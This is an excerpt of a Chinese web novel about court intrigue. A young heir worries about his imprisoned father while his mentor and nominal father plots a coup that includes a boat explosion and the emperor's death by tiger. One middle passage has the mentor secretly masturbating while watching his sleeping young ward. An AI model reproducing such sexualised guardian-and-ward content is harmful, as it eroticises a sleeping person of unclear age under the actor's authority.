晏珀一直在提防宁王,这点他也很清楚,但在太子眼中,宁王这么多年来在父皇的淫威之下小心行事,甚至连娶妻成家都不敢,儿子也是过继来的病秧子,看上去倒是比老二还要可怜些。 但这才刚走了一个老二,宁王府就多了一个活蹦乱跳的世子,别说多疑如晏珀了,就连太子也要忍不住多想。 “罢了,给宁王府送请帖吧,就说马上入秋了,孤邀请宁王世子来瘦湖边品茗赏秋。”太子蹙眉道,“朕倒要亲眼看看,宁王藏了这么久的儿子,究竟是个什么样的人物。” 幕僚躬身应道:“殿下英明。” 另一边。 荀婴从外面回来,匆匆走进宁王府,在侧书房里找到正在努力学习各种皇家礼仪常识的明瑾。 “主公!” 自打进了王府,荀婴便坚持要求改口叫明瑾主公,这一次无论明瑾怎么劝说他都不改,还洋洋洒洒说了一堆大道理,什么礼不可废无规矩不成方圆,听得明瑾头晕脑胀。 最后无奈之下,他只得默许了荀婴这么喊自己。 “元栋回来了?”明瑾抬头笑道,见荀婴气喘的模样,起身给他倒了杯茶,“坐吧,先顺顺气再说事。” “多谢主公——”荀婴仰头将杯中茶水一饮而尽,不等明瑾笑他这是牛嚼牡丹,便迫不及待道,“主公,令尊的消息我打探到了!” 明瑾脸色登时变了,他一把抓住荀婴的手腕:“我爹他怎么样,还好吗?是在刑部还是锦衣卫那里?” “在北镇抚司,”荀婴回答道,“具体情况如何,暂时不清楚,但可以确定的是,令尊一定还活着。” 前两天菜市口刚处决了一批二皇子党羽,明瑾生怕里面就有明敖,担心得嘴上都长了一个大燎泡,今早才刚消下去。 万幸的是,这批人基本都是有官职在身的,虽然明敖最后推了二皇子一把,私铸甲胄也确实涉及到了谋逆,但他毕竟只是个商人,并不被太子看在眼里。 在京城做生意,一旦做到一定位置,都难免要跟高官乃至王公贵族们打交道,因此商人们很多都是多头下注,明家自然也不例外,就连太子的一部分产业,也和明家有关。 估计他是把爹当成那种投机商人了吧。 见明瑾陷入了沉思,荀婴也说出了他的想法:“我觉得,太子之所以一直叫北镇抚司关押令尊,一定是令尊在狱中交代了些什么,让他想从明家内部榨取更大的利益。” 明瑾抿唇道:“明家都被抄家了,还能有什么油水给他榨?” 荀婴摇了摇头:“虽然我也不知道这些详细内容,但主公你觉得,若是令尊当真在多年前便与宁王殿下有所联系,打算共谋大事,他会把家中的所有产业都摆在明面上吗?” 明瑾一愣。 “确实,”他皱眉道,“爹他属于大智若愚的类型,可现在我们也进不了北镇抚司,更不清楚我爹是怎么跟太子交涉的,该怎样才能帮到他?” “锦衣卫指挥使金柳,这人我倒是认识,但实在没什么交情,而且总感觉他是个喜怒无常的笑面虎,稍有不慎就会被他挖坑掉进去……” 荀婴看了看发愁的明瑾,忽然笑了。 “主公莫非是当局者迷?”他调侃道,“答案远在天边,近在眼前。” 明瑾不解地望向他。 荀婴指了指自己脚下。 于是他也跟着低头,除了发现自己这双绣娘手工织出来的鞋可真华丽真贵之外,依旧一头雾水。 荀婴无奈道:“我的意思是咱们待的这块地,是宁王府。主公如今是宁王府世子,有些事情,大可以直接找宁王殿下询问,不必自己一个人关起门来琢磨。” 一听让他去找晏祁,明瑾却露出了微妙的别扭神情,他移开目光,含糊道:“知道了,晚上再说吧。” 晏祁躲了他几天,后面不躲了,但明瑾却受不了每次在人前见他都要喊父亲。 白天在府中活动时,他开始主动避开晏祁,宁肯绕道走了。 这还在其次,最可恨的是,晏祁给他安排了一堆任务,还有人时刻盯着他的动向,哪怕到了晚上,他也脱不开身。 今晚一定要趁天黑偷溜到先生房里! 明瑾暗暗握拳,他成为宁王世子,只是为了救下爹娘和明家,可没有打算就此和晏祁桥归桥路归路。 想要当他爹?不可能! 荀婴离开后不久,陈叔山也回来了。 “少爷,属下已经安排好了几个兄弟,跟着队伍一路北上,暗中照顾夫人和明家的人,”他朝明瑾行礼道,“也打听清楚这支队伍的去处了,应该是北上至居庸关附近,在当地修筑防御工事。” 明瑾脸色凝沉:“好,若有消息传回来,第一时间向我汇报。” “是。” 虽然不至于让妇孺也去做繁重的体力活,但明瑾一直挂念着文轻尘的身子,他已经做好了那个孩子无法出生的准备,只希望母亲能平安度过这一劫。 但每每想起,还是会忍不住心如刀割。 “娘……” 那可是,那么多年来,爹娘第一个亲生的孩子啊。 明瑾垂下头,双手抵在额前,骨节因为过度用力而微微泛白。 这些天来,担忧、愧疚和自责几乎要把他压垮,但和从前不一样,那时的他受了委屈,还能找爹娘抱怨,向先生哭诉。 如今的明瑾,一腔心事无处倾诉,晏祁每日早出晚归,仅有的几次碰面还都表现出一副疏离模样;宁王府比明家大上数倍,里面的人事也复杂不知多少,晏祁似乎有意让他放手施为,并不插手,因此光是应付这些就足以让明瑾焦头烂额。 更别提他还要了解更多京中各个家族势力的纠葛,判断如今的朝堂局势,以及探听关于爹娘的消息…… 明瑾其实真的很累了,他很想把脑袋埋在晏祁怀里,痛痛快快地大哭一场,更不想被人叫主公叫世子。 他只想永远做先生的弟子,和明家无忧无虑的纨绔小少爷。 “少爷,您还好吧?” 陈叔山担忧的声音唤回了他的思绪,明瑾抹了把脸,强笑道:“没事。多谢,你这几天也辛苦了,赶紧回去休息吧。” “属下有一句话,不知当不当说。”陈叔山犹豫着道。 见明瑾点头首肯,他便继续道:“虽说出了这档子意外,但锦衣卫、禁军两大关键阵营之中,宁王殿下目前都已经安插.了自己的人手,这次平叛更是名声大振,城中都夸赞宁王殿下有其母宁昭公主之风,不堕昭明军威名。” “所以,在属下心目中,宁王殿下善于隐忍,算无遗策,少爷不妨相信他,别把自己逼得那么紧。” 明瑾揉了揉眉心:“我有吗?” 陈叔山没说话,但露出了和方才荀婴离去时一模一样的神情。 “你才是那个最该去休息的人,少爷。” “……好吧,”明瑾最终妥协了,“你们赢了。” 他的身体的确在向他发出警报,只是一直被明瑾强行忽略了而已。 在陈叔山的说动之下,明瑾决定先在侧书房屏风后的软榻上小憩一会儿,至于桌上这堆东西,等他醒了再看。 他简单收拾了一下桌面,随手把太子的请帖放在了最上方。明日是他第一次公开露面,届时还不知道究竟有多少人到场,明瑾可不想迟到或是闹出什么洋相,平白丢先生的脸。 要是先生能跟他一起去就好了。 这是明瑾睡着前的最后一个想法。 “他在里面?” 晏祁的脚步站定在书房门前,偏头道。 他的视线冷冽,几乎像是要把站在门口守卫的陈叔山从皮肉到骨头看个遍。 陈叔山不自觉地绷紧后背,僵硬着点了点头。 晏祁挑剔的视线落在陈叔山硬朗但平平无奇的五官上,绷紧的唇角微微一松。 陈叔山:“…………” 压力一下子减轻了不少,是错觉吗? 晏祁没有第一时间进去,而是淡淡问他:“你出身昭明军中?” “是的。” “那想必应该也知晓他的身份,”晏祁的金眸近乎仙神,叫陈叔山下意识低下头,不敢直视对方,“瑾儿是宁昭公主唯一的后人,也是宁王府唯一的继承者,我知道他很信任你,信任到甚至愿意把自己的安危交到你的手上——你知道这意味着什么吗?” 陈叔山肃容道:“殿下放心,少爷对属下之妹有救命之恩,属下必定以死相报这份恩情!” 晏祁不置可否,忽然没头没脑地问了一句:“可会水?” 陈叔山愣了半天,直到晏祁的眉宇间浮现出一丝不耐,这才赶忙回答道:“会!会!属下从小在河边长大,能足足在水下憋气半炷香时间。” 他疑惑地看向晏祁,不明白宁王为什么会问自己这个问题。 但晏祁只是拍了拍他的肩膀,说:“明日记得,要寸步不离地保护他。” 接着他越过陈叔山,推门走进了书房,不等陈叔山张望,晏祁又当着他的面把门关上了。 陈叔山嘴角一抽,默默站回了原位。 合拢的门扉挡住了午后的阳光,晏祁站在原地,望着侧卧在屏风后的少年,眸光逐渐失神散漫,犹如这屋中游移漂浮的细碎光点。 他在原地站了片刻,挪动脚步,无声地走到了屏风之外。 但晏祁并未绕过去。 他只是将椅子搬到了靠近屏风的位置,缓缓坐下,望着那道竹林屏风上虚幻的倒影发起了呆。 记忆之中,第一次见面时的竹影婆娑,潇潇之声犹在耳畔。 晏祁仰头靠在椅背上,望着空无一物的头顶,无声地笑了一下。 这些天来,明瑾的努力和艰难,他自然都看在眼里。 心疼吗? 自然心疼。 ——但这是必要的磨砺。 晏祁是这样告诉自己的。 但当他看到明瑾如他所想的一般,快速褪去稚嫩,在压力之下一步步脱胎换骨,飞速成长为可以独当一面的宁王府世子时,晏祁忽然又有了一种怅然若失的感觉。 就仿佛一直牵在手里的风筝线,被他亲手剪断。 而他只能站在原地,望着那只风筝遥遥飞向未知的远方。 今日皇宫之中发生的事情,金柳都跟他讲了,在得知太子被晏珀无故砸伤的那一刻,晏祁便知道,自己一直等待的那个机会来了。 如今天时,地利,人和,统统都站在他这一边。 太子那封发给明瑾的请帖,就是他最好动手的时机。 “唔,不要……不要走……” 屏风内的明瑾突然梦呓起来,晏祁的目光重新汇聚在屏风上,看见少年蜷缩成一团,竟在梦中低低地哭泣起来。 那声音细弱可怜,像只刚出生不久、浑身还湿漉漉的小狸奴,细细叫着要奶吃。 晏祁知道,明瑾是做了噩梦。 可他却无端想到了那几个与他如梦幻泡影一般的夜晚,于晏祁来说,那是他此生再不可能有的美梦,少年依偎在他怀里,泪水长流,纤长的四肢控制不住地轻轻颤抖,又在他的安抚之中逐渐得了趣,痴痴缠住他,将那双呼着热气的唇主动送上,锦缎般柔顺的长发凌乱披散在瘦削脊背上,随着身体起伏晃动。 他闭上双眼,放任自己沉浸在这份罪恶的放纵之中,指尖挑开衣襟,向下探去。 只是片刻,他告诉自己。 明瑾的梦呓只是暂时的,那微不可察的泣音很快消散在寂静之中,少年的呼吸声重新变得均匀。 但很快,屋中却响起了另一道更加浑浊沉重的喘.息,来自怀揣着不可告人心思的成年男性,同时,也是他名义上的父亲。 晏祁死死地盯着那道屏风后的身影,仿佛要把它刻入自己的双眼,那张冷淡英俊的面容上,逐渐浮现出了一种近乎野兽的深沉欲.望,丑陋而阴暗,是晏祁永远不会向明瑾展露的一面。 “先生……” 突如其来的两个字,含糊中带着颤音,却叫晏祁整个人定在了座位上。 他的身体顷刻间紧绷到极致,大脑片刻的空白之后,晏祁终于迟钝地回过神来,确认过明瑾仍好好睡着,他缓慢低下头,面无表情地掏出手帕擦拭干净,又一点一点整理好衣裳。 只是一会儿功夫,就恢复成了那个人前不苟言笑的宁王。 陈叔山打了个哈欠。 哈欠打到一半,身后的门被推开了,他赶紧站好,见宁王殿下大步流星地离开,背影莫名有些匆匆的模样。 再探头一望,陈叔山动了动鼻子,疑惑地发现,怎么空气中似乎有点儿烧焦的味道? 正思索着,明瑾伸着懒腰走出来了。 陈叔山见他一副神清气爽的模样,不禁笑道:“少爷睡得可好?” “睡倒没睡多久,但休息得不错。” 明瑾哼笑道:“主要是遇到了开心的事。” 呸,猪鼻子插葱,尽会装蒜! 望着某个老流氓远去的方向,明瑾揉了揉鼻子,心想幸好小爷我技高一筹,且心志坚定,直觉过人,不然还真要被你演过去了。 见陈叔山仍是一脸不解,他也没有要继续解释的意思,毕竟有些事情不足为外人道,只要他自己心里清楚就好。 不过有了这么一遭,今晚估计是在府上找不到某人的人影了。 “他刚刚可有对你说什么话?”明瑾转头对陈叔山说。 “进屋来,一字不落地告诉我。”—— 作者有话说:小明:哼哼,你也为我着迷吧[墨镜]比格就这样把忍人玩弄在股掌之中 宝子们国庆假期快乐哈!祝大家吃好玩好不长肉,为庆祝八天假期,下章就解决掉老登~ 第64章 【二合一】 朕现在就写退位诏书!…… “问你会不会水, 还说让你明天寸步不离地跟在我身边?” 明瑾听完陈叔山的复述后,陷入了沉思。 看来明日太子宴请,先生是打算搞些大动作了。可是他为什么不派人详细把安排告诉自己, 而是用这种委婉的方式提醒呢? 明瑾自问自己演技还行, 不至于给晏祁拖后腿, 所以排除其他可能性,只剩下了一种情况—— 那就是自己知道得越少, 对晏祁的计划越有利。 被他再次招来的荀婴分析之后, 也提出了自己的想法:“人在情急状况下的反应是骗不得人的,主公,宁王殿下这次计划一定与太子有关,假如太子发生意外,您在不确定是否是宁王对他下手的前提下, 第一反应是什么?” 明瑾下意识回答:“自然是保护太子。” “是了, 这就是答案。”荀婴点头道, “若我所料不错, 其实宁王殿下的正确做法应该是派人暗中保护您,或是吩咐完陈叔山后, 再让他承诺不向您坦白。” “但派人暗中保护,有可能中途被我或太子发觉;陈叔山对我忠心耿耿,也不会为了先生向我隐瞒。”明瑾理智分析道。 荀婴看了他一眼,缓慢道:“还有一种办法, 就是将您完全排除在计划之外,其实从某种方面来讲, 这才是最保险的做法,但主公,宁王殿下也没有选择这么做。” 明瑾沉默了一会儿, 轻哼了一声。 “我明白你的意思,元栋,”他倒在椅子里,姿态和方才过来的晏祁一模一样,“放心吧,我跟他……没有闹矛盾。” 他沉思许久,决定明天见太子时除了陈叔山外,顺便把张牧也一并带上。 张牧这家伙,从小就喜欢在河里扑腾,城里的池浴更是被他逛了个遍,最后练就了一身熟练的凫水功夫,甚至还能在水里正常视物,下河摸鱼抓虾一抓一个准。 明瑾一直觉得他这个技能很变.态,但用在此处,倒是能让他的人身安全多一层保障。 荀婴瞧明瑾说完后又有再度陷入沉思的预兆,便识趣地主动告辞,说要去通知张牧一声。 明瑾望着他离去的背影,再一次感叹,元栋可真是有丞相之才啊。 至少在察言观色这方面,无人能出其右。 视线落在侧手边的屏风上,明瑾心想,从今天自己试探的结果来看,和以前一样,晏祁只是过不去他心里那关。 思及此,他又不禁回忆起了自己隔着屏风偷听到的喘.息声,顿时小脸一红——何止是有感情,这老流氓天天装得一本正经的,心里还不知道在想些什么不正经的东西呢。 呸! 但无论晏祁心里是怎么想的,对于明瑾来说,在最需要另一半安慰的时刻,另一半却做出了这样的选择,不可谓不让他伤心。 可说他偏执也好,说他执迷不悟也罢,明瑾还是选择相信自己的直觉。 明瑾坚信,晏祁随着皇帝老儿回宫的那天,一定发生了什么。 但要是问晏祁,那他肯定不会说的,他又不可能逮着皇帝问。这样算下来,唯一有可能的知情人,就是金柳了。 可明瑾忍不住想,就算知道真相又如何? 客观的事实是不会改变的,他想要和晏祁在一起,就永远要面对这些问题。 随着年岁渐长,明瑾现在倒是越来越能理解晏祁的顾虑了。 假如有一天阿囡忽然跑来说要嫁给他,他估计会吓得当晚就收拾包袱跑路。 即使他们同样没有血缘关系,年龄也只相差了五岁,但明瑾知道,真正让他畏惧的绝不是这五年的差距。 更重要的是,假如自己真答应了阿囡,这和趁人之危收了个童养媳有什么区别? 啧,怎么一想,先生的确还蛮禽兽的。 明瑾厚着脸皮,选择性遗忘了是自己主动追人的事实。 不管怎样,明日兵来将挡,水来土掩吧! 半夜,明瑾依旧按照计划实施了夜袭。 可惜扑了个空。 晏祁不知是不在府上还是早有预料,卧房里空荡荡的,一看那平整得连条褶皱都无的床铺,明瑾就知道他今日根本没回来过。 最终他悻悻无功而返,一夜睁眼到天明。 而被他惦记的晏祁,同样一夜未眠。 “该走了。” 木云站在门外,望着那道盘膝坐在祠堂内的身影。 兴许是因为即将要去做的事情,她常年平静无波的语气,也不由得带上了一丝波澜。 寂静祠堂内,三柱清香静静燃烧,晏祁缓缓撑着地面站起身,看着面前的两面牌位,淡淡道:“若今日事不成,那孩子,就拜托你了。” “少说这种晦气话!”木云忍耐道,“别以为我不知道,那天明敖把你叫过去,也就是为了说这些吧?” 晏祁不答,但木云知道她猜对了。 “怪不得那孩子最近看你的眼神,失魂落魄地跟看负心汉似的,”她讥讽道,“原来还真是个负心汉。” 晏祁深吸一口气。 他攥紧双拳,哑声问道:“你是何时知道的?” “我只是容貌尽毁,不是瞎子。”木云冷冷道。 但她今日无意与晏祁算账,毕竟生死攸关之际,现在说这些未免有些不合时宜,她只是冷淡地提醒了晏祁一句:“宫里刚传来消息,明瑾也已经准备出发了,你既然觉得有失败的可能,不去同他说两句话吗?” “没有这个必要。” 晏祁垂眸盯着自己被漆黑皮革包裹的指尖,“该教他的,我都已经教过他了,今日过后,最差的结局也是我与晏珀同归于尽,剩下一个太子……不足为惧。” 若计划顺利进行,届时太子是否还有命在,都尚未可知。 “那朝中那些大臣呢?北边的胡人呢?大宛呢?”木云冷哼一声,“还有金柳,你不会真以为那家伙是个安分性子吧。” 晏祁走出祠堂,外面刺目天光让他微微眯起眼睛,心脏在胸膛中激烈跳动,明明是命悬一刻的紧张时刻,男人唇边竟勾起了一丝浅淡的笑意。 “真要那样,那也没办法,”他轻快道,“我说过,只要我还活着一日,这世间风雨,就落不到他头上去。” “但我要是死了,他恨我怨我,大可以把我的坟挖了鞭尸——前提是,我还能留下一具全尸。” 晏祁的眼中跳跃着森森火种,他和木云交换了一个眼神,都在彼此眼中看到了孤注一掷的决绝。 “走吧,”他轻柔道,“别让咱们的陛下久等了。” * “久仰了,宁王世子。” 瘦湖湖畔,太子意气风发地在众人簇拥之中下了马车,目光定格在早已等候在前方的明瑾身上,神色不由得微微惊诧了一瞬——这少年,不是当初父皇在蹴鞠比赛上夸过的那位吗? 叫……叫什么来着? 虽然一时想不起来,但他毕竟是大雍的太子,虽然能力心性都不咋行,还是见过一些世面的。 因此太子只是失态了片刻,便又笑容如常地寒暄道:“果真是英雄出少年啊,有你这样的儿子,扶风也算后继有人了。” 正躬身向太子行礼的明瑾身形一顿。 “……扶风?” “嗯,世子不知吗?”太子挑眉,“宁王表字扶风,这还是父皇当初亲自为他取的字呢。” 明瑾登时恢复了平静。 原来是皇帝老登取的,怪不得先生不告诉他。 那没事儿了。 “不过你身为晚辈,确实也不好打听这些,”太子笑了一下,状似亲昵地揽过他的肩,“来来来,正好孤叫人新买了一条画舫,今日有喜事,咱们二人一起登船赏秋,吟诗作对,再叫人从湖里捞几只螃蟹上来品尝一番,多是一件美事啊。” 明瑾不习惯跟陌生人这样靠近,他装作顺势行礼,避开了太子的手,笑着应承道:“多谢太子殿下厚爱……只是不知,殿下所说的喜事为何?” 太子也没太在意,收回手随口道:“扶风没告诉你吗?今日午时三刻,城中关押的所有乱党一并押至法场处刑啊,为我大雍清除一毒瘤,这难道不是大喜事吗。” 刹那间,明瑾浑身血液都仿佛凝固。 他只觉得自己的大脑嗡嗡作响,但在太子起疑之前,他的身体又僵硬地自己动了起来,重新直起身,和太子一前一后走向画舫。 他甚至还听到自己语气敬佩地回答道:“确是如此。殿下此番清除乱党的作为,杀伐果断,实有明君之风。” 这居然是他能说出来的话吗? 明瑾在那一刻觉得自己好像疯了,在知道爹还有两个时辰就要被押上法场后,竟然还能同太子在这风景秀丽之地,虚与委蛇,一唱一和……难不成,这就是先生一直同他所说的“泰山崩于眼前而面不改色”? 哈哈,多么可笑! 但在太子眼中,面前少年在听自己说完后,由衷敬佩地发出了一声感叹,注视着自己的眼眸格外专注明亮,还有那句说到他心坎上的“明君之风”,看起来,倒是比他那个亲弟弟更讨喜许多。 太子想起晏珀半是警告半是叮嘱的话语,心中的郁气倒是一下子消散了不少。 “可惜啊,父皇要是同你有一样的想法就好了。” 他低头喝了一口闷茶,见明瑾只是微微露出了好奇之色,但很有分寸地并不主动开口询问,心中对这位宁王世子的好感度又增添了几分。 “不说这些了,来,上酒!”太子大手一挥,叫船上几个侍卫脱衣下水,给他们捞螃蟹上来。 但明瑾眼神一闪,提前一步阻止了他:“殿下,难得的机会,不如咱们打个赌如何?” 太子颇有兴致地询问:“哦,怎么赌?” “我身边这位,也颇懂水性,”明瑾拉过侍卫打扮的张牧,笑着对他说,“殿下也派一位,叫他们两个比一比,看谁能在规定时限里捞上更多的螃蟹,如何?” 太子摩挲着酒杯,若有所思道:“只是螃蟹?” “那殿下的意思是……?” “孤听闻,这瘦湖之底可是沉了不少宝贝,”太子哈哈一笑,“螃蟹嘛,待会再派人下去捞就是了,既然要赌,自然要赌大的,就比一炷香内,谁能捞到更多的宝贝谁就赢,如何?” 明瑾微微一笑,拱手道:“恭敬不如从命。” “那彩头怎么定?” 明瑾的视线下移,落在太子腰侧别着的、雕刻着四爪金龙的羊脂玉佩上,忽的灿烂一笑:“臣弟拿宁王世子印与殿下赌,就赌殿下这枚玉佩,您看如何?” 闻言,太子的神情终于发生了变化。 他意味深长地看着明瑾:“你确定?” 世子印和他的玉佩,价值自然不可同日而语。虽说他贵为太子,地位比世子高出不少,然而世子印可是真能调动宁王府上下,他的那块玉佩却只是个装饰,虽然关键时刻能当信物使用,可现在又不是什么战乱时期,太平日子,需要什么信物? 他若想要,像这种玉佩,随时可以叫皇室的工匠做出个十块八块出来。 “行,孤同你赌了!” 太子只当这是宁王世子给自己的变相示好,心里还琢磨着,等会儿不能叫他输得太惨,于是把挑选出来的侍卫叫到面前,低声吩咐了两句。 明瑾也趁下水前的功夫,把张牧拉到一边叮嘱:“捞东西就随便捞捞,注意安全,主要看看这艘船有没有被人动手脚。” 他思来想去,觉得晏祁最可能用的就是这个方法了。 虽然先生不肯提前告诉他,但要是他自己发现的话,那就不算了对吧? 张牧点了点头,给他比了个放心的手势,然后飞快地脱掉上衣,活动了一下筋骨,和那名侍卫一道走到了船舷边上。 “预备——跳!” 明瑾坐在座位上,唇边勾起一道弧度,乍一看云淡风轻,实则心中打鼓,表面镇定全靠回忆模仿当初晏祁的一举一动。 一炷香后,水面冒出涟漪。 看到张牧平安归来的那一刻,明瑾狠狠松了口气,太子则笑道:“把他们二人拉上来吧,看看都找到了些什么宝贝。” 那侍卫上来后说:“殿下,小的不才,找到了一条珊瑚手串;一把前朝宝剑,但估计生了锈;还有两块沉在湖底的银两。” 太子不置可否,似乎对他的收获并不算太满意。 那侍卫忐忑地把视线投向张牧,张牧抹了把湿漉漉的脸颊,抓起手中的玩意儿:“我就找到了这个。” 明瑾看着他手里熟悉的平安锁,瞳孔骤缩。 这——这不是他的那块吗? 他和张牧交换了一个眼神,作为从小一起长大的发小,张牧当然见过很多次他的平安玉锁。 可明瑾的那把还好好地戴在身上,所以这把一模一样的又是从哪儿来的? “怎么了?”太子见他们表情不对,疑惑问道。 “不敢隐瞒殿下,实是因为……”明瑾回过神来,苦笑道,“臣弟也有一把相同的平安锁。” 这可是奇事一件,太子立马把赌约的事情丢到了脑后,连声让他把自己那块拿出来对比看看。 明瑾依言掏出自己的平安锁,将两块摆在桌案上,发现果然是一模一样,就连玉锁上雕刻着的“平安如意”四字,都跟雕版印刷出来似的。 “奇也怪哉,奇也怪哉,”太子感叹道,“看来这宝物天生便是你的,说不定,这湖里这枚,便是你前世的恋人所佩之物呢。” 明瑾这会儿已经想起了年少时湖底的惊鸿一瞥,他低着头,盯着那在水中沉没了五年、上岸后却仍光洁如新的玉锁,心情犹如五味杂陈般复杂,许久之后,轻轻嗯了一声。 “或许是前世留下的孽债还没还完吧,”他喃喃道,“今生今世……来日方长。” 太子见他把两块玉佩都小心翼翼地收好,心念一转,也把自己的那枚玉佩解下,推到了明瑾面前。 要是能用这东西卖宁王世子个好,太子也不介意。 反正父皇同他和老二说过,待到他们上位之后,无论是谁,都定要第一时间处置掉宁王,否则定会后患无穷。 “既然有这么一段缘分在,玉锁价值可就远超我那侍卫捞上来的三瓜两枣了,”他微微一笑,状似大度地说,“这玉佩你若喜欢,便拿走吧。” 明瑾双手接过玉佩,压下心底随着时间推移逐渐疯涨的焦急,告诉自己,这边的情况还没结束,暂时急不得—— “多谢太子殿下……” “轰——!!!” 一声巨响自船尾响起。 画舫上霎时一片兵荒马乱,许多人在叫嚷着“保护太子殿下”,还有人不慎落水,惊慌着在水中扑腾哭喊。 张牧和陈叔山第一时间上前,在船沉的短短几息间,一左一右护住了明瑾,把他架着游出了沉船波及的范围。 ……幸好先生教过他凫水。 意外来临之际,这是明瑾脑海中的唯一想法。 因此他虽然猝不及防之下呛了两口水,但很快就放松下身体,任由张牧和陈叔山带着他离开漩涡中心,期间目光还在到处扫视,寻找着太子的方向。 靠,他还以为晏祁最多只会派人偷偷凿船底,没想到这莽货居然直接炸船!就这么确定不会伤到他吗? 明瑾在心中暗骂,但同时也不禁担忧起来——胆敢行刺太子转移视线,要么说明晏祁已经不再顾忌宫中那位,要么就是,他即将有一件更大的事情要做,需要用太子这边转移众人的视线。 “晏祁,你……你敢!” 深宫禁地,晏珀瘫倒在榻上,不可置信地瞪着眼前站在猛虎身侧的男人。 这人究竟是怎么瞒天过海,把老虎带进宫来,甚至于直接出现他面前的?宫里那么多禁军守卫,难不成都被他收买了不成! 晏祁不为所动地站在原地,抬起手,注意到晏珀下意识浑身一哆嗦,他嗤笑一声,手掌温柔地按在了身旁巨大的虎头上。 寅将军亲昵地蹭了蹭他的掌心,从喉咙里发出愉悦的声响。 但那声音在晏珀听来,却不亚于催命的咒语。 “你要什么?”他努力镇定,直起身子强撑起残余的帝王威严,可惜那苍白的脸颊和控制不住颤抖的四肢暴露了他的外强中干,“地位?金钱?还是更多权力?朕都可以给你……” “不。” “那、那只要你想,朕也可以给你封地!” 面对着强权,纵使一生高傲的晏珀,此时也不得不低下了帝王的尊贵头颅。 晏祁笑了。 “陛下,这么多年了,您还是老样子,”他叹息道,“尤其是这两年,为了自己的性命,简直无所不用其极,甚至叫人暗中将宫中养着的老虎拔去所有牙齿和指甲,只为了你方便赏玩;不愿意配合的,则统统发卖或是处死……” 晏珀睚眦欲裂地瞪着晏祁抚摸着那只老虎,姿态悠闲。 “朕只恨自己终日与虎谋皮,还是瞎了眼!”他死死瞪着晏祁,嘴唇哆嗦着,消瘦干瘪的胸膛上下起伏,“你这个大逆不道的混账——” “陛下怎能如此之说?大逆不道的,可是您的亲生儿子啊。” 晏祁露出一脸不赞同的神色:“城中二皇子残党为救法场同伙,竟不惜悍然发动多处叛乱,太子船只被炸,陛下宫中起火,而臣只是来救驾的功臣。只是很遗憾,还是晚了一步,竟叫陛下情急之下,慌不择路地跑到了虎园之中……” “住口!” 晏珀近乎癫狂,想要朝他扑过来,却被寅将军一个飞扑,按在了地上,发出一声近乎厉鬼般的惨叫。 “扶风!扶风!”他面对着近在咫尺的尖锐虎牙,和那双和男人如出一辙的金色虎瞳,吓得险些晕厥,下半.身更是控制不住地传来一阵尿骚味,“叫它下去,朕什么都答应你,什么都给你!” “你不就是想要皇位吗,朕给你!朕现在就写退位诏书!!!” 晏祁轻笑一声。 “又错了,陛下。”他说,“臣自始至终,要的就只有一样。” “是什么?”晏珀闻着扑面而来的阵阵腥臭,崩溃尖叫道,“那你倒是说啊!” 晏祁不答,只是淡淡道:“寅将军……” 就像是每一次被晏祁喂食那样,听到关键词,寅将军立刻绷紧了脊背。 斑斓的猛虎竖起耳朵,难耐地发出呼噜声,同时爪子死死地按住了身下疯狂挣扎的猎物。 晏祁平静地命令道: “吃吧。”—— 作者有话说:依旧是卡点战士[墨镜]但是这一章信息量很大,把之前的伏笔圆上了,也终于叫老登下线了!可喜可贺! 大家国庆快乐~本章评论发红包哦[狗头叼玫瑰] 第65章 【二合一】 国不可一日无君…… “来人啊!”“快救太子殿下!” 和当初明瑾落水时, 船上岸边皆是看客不同,太子落水,众人表现得那叫一个积极踊跃, 那恨不得扑过去的姿态, 明瑾深刻怀疑他们看到亲娘落水都不会表现得如此夸张。 这让他不禁怀疑起了自己一开始的想法—— 难不成, 先生不是打算刺杀太子吗? 这种情况下,即使太子不会水, 也肯定死不了啊。 “快看岸边!”张牧忽然喊道。 明瑾扭头望去, 瞳孔一缩——岸边不知何时来了一群乌压压的官兵,目测人数起码有数百。 他回想了一番,太子这次带来的人的确不少,可就算加上护卫,一共也不超过百人之数啊。 所以这些人都是从哪里冒出来的?! 正惊诧的功夫, 这边闹出的动静已经被岸上的官兵们听见了, 一个个都开始跟下饺子似的往湖里跳。 不一会儿, 宽阔的湖面就开始人头攒动, 甚至还会时不时地冒出“哎呦,你蹬到我了!”“别儿去, 别耽误我救太子!”之类的激烈言语。 第一个救起太子的人更是成为了众矢之的,大叫一声,也不知道是被人从水里拽了下去,还是怎么着, 总之疼得他一下子就松了手。太子也因此重新沉了下去,呛了好几口水才被人捞上来, 然后又如此重复两三次,双眼发直,脸都快绿了。 张牧看得目瞪口呆。 “这是在抢太子, 还是在抢潮头鱼呢?”他感叹道,“真是,叫人甘拜下风啊。” 明瑾却从一片荒唐的混乱中察觉到了不对。 有人在故意搅浑水,他想。 “先上岸!”他果断道。 虽然不知道这些暗搓搓搞事情的家伙究竟是先生派来的,还是别的其他势力,总之,一直在这湖里待着实在是太危险了,就算张牧和陈叔山水性再好,秋日湖水冰冷,也总有体力耗尽的时候。 至于太子…… 明瑾敷衍心想,殿下洪福齐天,又有真龙之气护体,想必定能安然无虞吧。 要是有虞,那肯定就不是真龙了。 几人上了岸,张牧和陈叔山看着围拢上来的官兵,下意识挡在了明瑾身前,直到一道削瘦的身影费劲钻出人群,才叫他们纷纷愣住了。 “元栋?”明瑾震惊地看着他,“你怎么会在这里?” 一刻钟后。 “主公,可有好受些?” 马车里,荀婴一脸关切地问道。 “还还还好。”明瑾裹着毯子,牙齿打颤地回答。张牧和陈叔山坐在他边上,也都裹着毯子在平心静气。 他们实在在水里泡太久了,久到身体都有点儿失温,肌肉控制不住地瑟瑟发抖。 但明瑾还是努力探出头,张望着湖中太子的下落。 都这么久了,人不会还没捞上来吧? 对于这群官兵,明瑾起初还紧张呢,以为这些人是来保护太子的,或许先生动的手脚会被发现,但很快就被荀婴一张毯子兜头罩住,一脸懵逼地裹着塞进了马车里。 再一抬头,李司竟然也在,还已经分别给他、张牧和陈叔山各倒了一杯热乎的蜜水,一看就知道是早有准备。 “那些官兵是怎么回事?”张牧打了个喷嚏,把杯子里的水一饮而尽,含含糊糊道,“有人想要太子的命?” “不,他们是来救太子的。” 荀婴解释道:“你们走后不久,我就看到宁王和木云匆匆离开府上,觉得不对,就想跟上去,结果发现他们去的方向居然是皇宫。” 禁宫守备森严,他自然没办法跟着进去,在外面徘徊了一会儿,正要返回,就看到了一个熟人。 “是谁?”明瑾问道。 荀婴:“是魏金宝。” 